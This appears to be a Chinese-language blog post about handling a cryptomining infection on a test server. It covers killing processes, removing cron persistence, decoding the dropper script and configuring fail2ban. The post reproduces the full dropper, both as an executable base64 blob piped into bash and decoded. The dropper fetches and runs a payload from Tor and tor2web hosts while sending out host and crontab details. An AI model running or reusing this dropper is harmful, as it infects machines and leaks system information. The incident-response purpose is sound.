事件描述
登陆到测试服务器,发现CPU使用率飙到了700%,考虑可能是机器被攻击。查看进程名称,有一个异常进程在搞怪。
处理过程
- 为了让机器尽快恢复,用
kill -9 18616
杀掉了这个进程。
没想到一会儿进程又出现了,CPU继续飙升。猜测应该是有定时任务在运行 - 执行
crontab -l
发现果然有一条定时任务。
57 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &
- 此时执行
crontab -e
删除掉定时任务。过了一会流氓进程又死灰复燃。怀疑应该是还有其他定时任务,或者主进程没有清理 - 定位到脚本
定位到定时任务脚本(仅供学习):
#!/bin/bash
#exec &>/dev/null
echo GmqsLAjf/AU0zNSys0cvX3jvDVQ+RgnpxMER8UQt5sWoBaWlXHA7Zevn9+vXesLe
echo R21xc0xBamYvQVUwek5TeXMwY3ZYM2p2RFZRK1JnbnB4TUVSOFVRdDVzV29CYVdsWEhBN1pldm45K3ZYZXNMZQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ5cnh4eHFpYTQ1eHhjZHFmd3l4NHBrNnVmeWFuYXpkd2pidjNkZTdyNG1ydHl6dHQ1bXB3MzV5ZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgZG5zLmRucy1vdmVyLWh0dHBzLmNvbSB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2guY2VudHJhbGV1LnBpLWRucy5jb20gZG9oLmRucy5zYiBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyBkbnMuZmxhdHVzbGlmaXIuaXMgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTEzKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8c29ydCAtdVJ8aGVhZCAtMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdG1wIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmZXhlCmY9L2ludC4kKHVuYW1lIC1tKQp4PS4vJChkYXRlfG1kNXN1bXxjdXQgLWYxIC1kLSkKcj0kKGN1cmwgLTRmc1NMayBjaGVja2lwLmFtYXpvbmF3cy5jb218fGN1cmwgLTRmc1NMayBpcC5zYilfJCh3aG9hbWkpXyQodW5hbWUgLW0pXyQodW5hbWUgLW4pXyQoaXAgYXxncmVwICdpbmV0ICd8YXdrIHsncHJpbnQgJDInfXxtZDVzdW18YXdrIHsncHJpbnQgJDEnfSlfJChjcm9udGFiIC1sfGJhc2U2NCAtdzApCiRjIC14IHNvY2tzNWg6Ly8kczo5MDUwICR0Lm9uaW9uJGYgLW8keCAtZSRyIHx8ICRjICQxJGYgLW8keCAtZSRyCmNobW9kICt4ICR4OyR4O3JtIC1mICR4Cn0KCmZvciBoIGluIHRvcjJ3ZWIuaW4gdG9yMndlYi5pdCBvbmlvbi5mb3VuZGF0aW9uIHRvcjJ3ZWIuc3Ugb25pb24uY29tLmRlIG9uaW9uLnNoIHRvcjJ3ZWIuaW8KZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLTEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgp1ICR0LiRoCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash
发现shell内容用base64编码过了。用base64进行解码,发现是挖矿脚本。
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "yrxxxqia45xxcdqfwyx4pk6ufyanazdwjbv3de7r4mrtyztt5mpw35yd")
sockz() {
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM%13))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1)
}
fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it onion.foundation tor2web.su onion.com.de onion.sh tor2web.io
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; then
u $t.$h
else
break
fi
done
- 用
lsof -c 进程名
查看该进程的系统调用信息。发现相应控制客户端已经删除使用。
pstree
可以看到两个异常进程。用ps -ef
获取异常进程信息。一个应该是主进程,一个应该是控制进程。kill -9 两个木马进程ID
删除掉进程。过了一会又启动,推测是有定时任务没清理干净。使用命令ls /etc/cron.d
查看到里面还有一个0开头的文件存放着定时任务。
删除,然后删掉两个木马进程。删掉垃圾脚本- 系统恢复了短暂的宁静又出现了。查看登陆日志
tail -F -n 1000 /var/log/auth.log | grep 'failed'
,内网主机在ssh攻击破解。
解决办法:
修改密码
安装fail2ban安全工具
sudo apt-get upgrade
sudo apt-get install -y fail2ban
sudo systemctl start fail2ban
sudo nano /etc/fail2ban/jail.local
#jail.local 文件内添加
[sshd]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
sudo systemctl restart fail2ban
总结
服务器安全问题不容忽视,设置强密码,并控制防火墙,修改ssh默认端口号。
参考
base64编解码工具
https://cloud.tencent.com/developer/article/1591665【类似病毒】
https://www.freebuf.com/articles/system/208804.html